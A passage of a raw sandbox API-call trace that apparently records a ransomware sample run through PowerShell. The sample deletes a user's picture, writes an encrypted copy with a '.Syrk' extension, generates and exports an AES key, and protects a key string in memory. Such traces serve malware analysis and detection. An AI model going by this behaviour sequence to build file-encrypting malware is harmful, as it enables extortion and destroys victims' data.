dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0246.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0246.396] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0246.396] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0246.396] CoTaskMemFree (pv=0x5c98368) [0246.398] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg")) returned 0x20 [0246.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0246.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg"), fInfoLevelId=0x0, lpFileInformation=0x248fc80 | out: lpFileInformation=0x248fc80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802afcc0, ftCreationTime.dwHighDateTime=0x1d99383, ftLastAccessTime.dwLowDateTime=0x31155f50, ftLastAccessTime.dwHighDateTime=0x1d99a6c, ftLastWriteTime.dwLowDateTime=0x31155f50, ftLastWriteTime.dwHighDateTime=0x1d99a6c, nFileSizeHigh=0x0, nFileSizeLow=0x10c70)) returned 1 [0246.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0246.399] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg")) returned 1 [0246.404] EtwEventActivityIdControl () returned 0x0 [0246.405] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.405] EtwEventActivityIdControl () returned 0x0 [0246.405] EtwEventActivityIdControl () returned 0x0 [0246.405] EtwEventActivityIdControl () returned 0x0 [0246.416] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg.syrk")) returned 0x20 [0246.417] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg.syrk")) returned 0x20 [0246.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0246.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk", lpFilePart=0x0) returned 0x37 [0246.418] EtwEventActivityIdControl () returned 0x0 [0246.418] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.418] EtwEventActivityIdControl () returned 0x0 [0246.419] EtwEventActivityIdControl () returned 0x0 [0246.419] EtwEventActivityIdControl () returned 0x0 [0246.423] EtwEventActivityIdControl () returned 0x0 [0246.424] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.424] EtwEventActivityIdControl () returned 0x0 [0246.424] EtwEventActivityIdControl () returned 0x0 [0246.424] EtwEventActivityIdControl () returned 0x0 [0246.429] EtwEventActivityIdControl () returned 0x0 [0246.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.430] EtwEventActivityIdControl () returned 0x0 [0246.430] EtwEventActivityIdControl () returned 0x0 [0246.430] EtwEventActivityIdControl () returned 0x0 [0246.434] EtwEventActivityIdControl () returned 0x0 [0246.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.435] EtwEventActivityIdControl () returned 0x0 [0246.435] EtwEventActivityIdControl () returned 0x0 [0246.436] EtwEventActivityIdControl () returned 0x0 [0246.440] EtwEventActivityIdControl () returned 0x0 [0246.441] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.441] EtwEventActivityIdControl () returned 0x0 [0246.441] EtwEventActivityIdControl () returned 0x0 [0246.441] EtwEventActivityIdControl () returned 0x0 [0246.446] EtwEventActivityIdControl () returned 0x0 [0246.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0246.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2499c1c | out: lpFileInformation=0x2499c1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8bdd50, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xe8bdd50, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xe90a010, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x10c94)) returned 1 [0246.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0246.452] GetConsoleOutputCP () returned 0x1b5 [0246.454] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.454] GetConsoleOutputCP () returned 0x1b5 [0246.454] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.454] GetConsoleOutputCP () returned 0x1b5 [0246.455] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.455] GetConsoleOutputCP () returned 0x1b5 [0246.455] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.455] GetConsoleOutputCP () returned 0x1b5 [0246.455] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.455] GetConsoleOutputCP () returned 0x1b5 [0246.456] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.456] GetConsoleOutputCP () returned 0x1b5 [0246.456] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.456] GetConsoleOutputCP () returned 0x1b5 [0246.456] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.456] GetConsoleOutputCP () returned 0x1b5 [0246.457] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.457] GetConsoleOutputCP () returned 0x1b5 [0246.457] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.457] GetConsoleOutputCP () returned 0x1b5 [0246.457] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.457] GetConsoleOutputCP () returned 0x1b5 [0246.458] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.458] GetConsoleOutputCP () returned 0x1b5 [0246.458] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.458] GetConsoleOutputCP () returned 0x1b5 [0246.458] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.458] GetConsoleOutputCP () returned 0x1b5 [0246.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.459] GetConsoleOutputCP () returned 0x1b5 [0246.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.459] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0246.459] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.460] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24b38a0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24b38a0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0246.460] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.461] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0246.462] EtwEventActivityIdControl () returned 0x0 [0246.462] EtwEventActivityIdControl () returned 0x0 [0246.462] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.463] EtwEventActivityIdControl () returned 0x0 [0246.463] EtwEventActivityIdControl () returned 0x0 [0246.463] EtwEventActivityIdControl () returned 0x0 [0246.465] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.466] EtwEventActivityIdControl () returned 0x0 [0246.466] EtwEventActivityIdControl () returned 0x0 [0246.466] EtwEventActivityIdControl () returned 0x0 [0246.469] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0246.470] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995a0) returned 1 [0246.470] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.470] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.470] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24bb278, pdwDataLen=0x5a2e8c4 | out: pbData=0x24bb278*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.471] EtwEventActivityIdControl () returned 0x0 [0246.472] EtwEventActivityIdControl () returned 0x0 [0246.472] EtwEventActivityIdControl () returned 0x0 [0246.472] SysStringLen (param_1="") returned 0x8 [0246.472] SysStringLen (param_1="G") returned 0x8 [0246.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.473] SysStringLen (param_1="ꂄ뢄憪罂쮼吥ᧇ턃") returned 0x8 [0246.473] SysStringLen (param_1="ꂄ뢄憪罂쮼吥ᧇ턃") returned 0x8 [0246.473] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.473] SysStringLen (param_1="GA") returned 0x8 [0246.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.473] SysStringLen (param_1="ꨲ㊕픗Ĵ쩵趥尭械") returned 0x8 [0246.473] SysStringLen (param_1="ꨲ㊕픗Ĵ쩵趥尭械") returned 0x8 [0246.473] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.474] SysStringLen (param_1="GAr") returned 0x8 [0246.474] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.474] SysStringLen (param_1="펤ፊ茎ꤝᣖ７") returned 0x8 [0246.474] SysStringLen (param_1="펤ፊ茎ꤝᣖ７") returned 0x8 [0246.474] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.474] SysStringLen (param_1="GAr2") returned 0x8 [0246.474] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.474] SysStringLen (param_1="ᭈ곛䱵庈퓋௄繆῍") returned 0x8 [0246.474] SysStringLen (param_1="ᭈ곛䱵庈퓋௄繆῍") returned 0x8 [0246.474] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.475] SysStringLen (param_1="GAr2J") returned 0x8 [0246.475] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.475] SysStringLen (param_1="\볛룑塂縒䣣翏䛉∦) returned 0x8 [0246.475] SysStringLen (param_1="\볛룑塂縒䣣翏䛉∦) returned 0x8 [0246.475] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.475] SysStringLen (param_1="GAr2JO") returned 0x8 [0246.475] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.475] SysStringLen (param_1="뒱埪炏ㅃ⺌앹冔瀜") returned 0x8 [0246.475] SysStringLen (param_1="뒱埪炏ㅃ⺌앹冔瀜") returned 0x8 [0246.475] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.475] SysStringLen (param_1="GAr2JOR") returned 0x8 [0246.476] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.476] SysStringLen (param_1="赢ꨖ\䃚獢ɩ쿀⊥) returned 0x8 [0246.476] SysStringLen (param_1="赢ꨖ\䃚獢ɩ쿀⊥) returned 0x8 [0246.476] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.476] SysStringLen (param_1="GAr2JORD") returned 0x8 [0246.476] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.476] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌") returned 0x8 [0246.477] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌") returned 0x8 [0246.477] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌") returned 0x8 [0246.477] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌") returned 0x10 [0246.477] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.477] SysStringLen (param_1="GAr2JORDT〣⯟惉硌") returned 0x10 [0246.477] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.478] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌ऺ﫜䊄퐪⭆ǐ旸꿍") returned 0x10 [0246.478] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌ऺ﫜䊄퐪⭆ǐ旸꿍") returned 0x10 [0246.478] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.478] SysStringLen (param_1="GAr2JORDTH⯟惉硌") returned 0x10 [0246.478] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.478] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌붡៲샹撩삔ꬎ諅佾") returned 0x10 [0246.478] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌붡៲샹撩삔ꬎ諅佾") returned 0x10 [0246.478] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.478] SysStringLen (param_1="GAr2JORDTHy惉硌") returned 0x10 [0246.478] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.479] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌⼜螣ﰎ㻖蚟") returned 0x10 [0246.479] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌⼜螣ﰎ㻖蚟") returned 0x10 [0246.479] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.479] SysStringLen (param_1="GAr2JORDTHyi惉硌") returned 0x10 [0246.479] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.479] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌䗗şṎ骓坙❿׋績") returned 0x10 [0246.479] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌䗗şṎ骓坙❿׋績") returned 0x10 [0246.479] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.479] SysStringLen (param_1="GAr2JORDTHyid硌") returned 0x10 [0246.479] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.480] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌㉽Һ佛쳱ꗹ姱ꊮṲ") returned 0x10 [0246.480] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌㉽Һ佛쳱ꗹ姱ꊮṲ") returned 0x10 [0246.480] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.480] SysStringLen (param_1="GAr2JORDTHyidz硌") returned 0x10 [0246.480] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.480] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌廫;鄙춡⭃훺\矚≷) returned 0x10 [0246.480] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌廫;鄙춡⭃훺\矚≷) returned 0x10 [0246.480] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.480] SysStringLen (param_1="GAr2JORDTHyidzX") returned 0x10 [0246.480] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.481] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌퓛㓭㳒밿睡ꪻ埑") returned 0x10 [0246.481] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌퓛㓭㳒밿睡ꪻ埑") returned 0x10 [0246.481] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.481] SysStringLen (param_1="GAr2JORDTHyidzX3") returned 0x10 [0246.481] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.481] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿") returned 0x10 [0246.481] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿") returned 0x10 [0246.481] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿") returned 0x10 [0246.482] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿") returned 0x18 [0246.482] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.482] SysStringLen (param_1="GAr2JORDTHyidzX3M儲⸞窻㈶ູ剄") returned 0x18 [0246.482] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.482] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿ㆹ䫊㦯塨疫柑류") returned 0x18 [0246.482] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿ㆹ䫊㦯塨疫柑류") returned 0x18 [0246.482] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.483] SysStringLen (param_1="GAr2JORDTHyidzX3MW⸞窻㈶ູ剄") returned 0x18 [0246.483] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.483] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿뗨奆ၯ\ꋻ㗂簙⋎) returned 0x18 [0246.483] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿뗨奆ၯ\ꋻ㗂簙⋎) returned 0x18 [0246.483] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.483] SysStringLen (param_1="GAr2JORDTHyidzX3MWP窻㈶ູ剄") returned 0x18 [0246.483] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.483] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿斫袵\럙湲奝澮≆) returned 0x18 [0246.483] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿斫袵\럙湲奝澮≆) returned 0x18 [0246.483] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.484] SysStringLen (param_1="GAr2JORDTHyidzX3MWPH窻㈶ູ剄") returned 0x18 [0246.484] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.484] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿굧䔲䓝댔詟誌淚謠") returned 0x18 [0246.484] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿굧䔲䓝댔詟誌淚謠") returned 0x18 [0246.484] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.484] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHW㈶ູ剄") returned 0x18 [0246.484] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.484] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿务抌༊쉡璹ꦑ칹") returned 0x18 [0246.484] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿务抌༊쉡璹ꦑ칹") returned 0x18 [0246.484] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.485] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbູ剄") returned 0x18 [0246.485] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.485] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿㾓鱗ｾꢄ菿惪쿁䰝") returned 0x18 [0246.485] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿㾓鱗ｾꢄ菿惪쿁䰝") returned 0x18 [0246.485] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.485] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbD剄") returned 0x18 [0246.485] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.485] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿霵葎ꇀⵗ앛蹩橦ᯌ") returned 0x18 [0246.485] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿霵葎ꇀⵗ앛蹩橦ᯌ") returned 0x18 [0246.486] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.486] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDM") returned 0x18 [0246.486] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.486] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘") returned 0x18 [0246.486] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘") returned 0x18 [0246.486] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘") returned 0x18 [0246.487] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘") returned 0x20 [0246.487] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.487] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMB都銇瘧扨냆灣") returned 0x20 [0246.487] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.487] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘虩\ӝ꥚☠譑餍䕫⋇) returned 0x20 [0246.487] SysStringLen 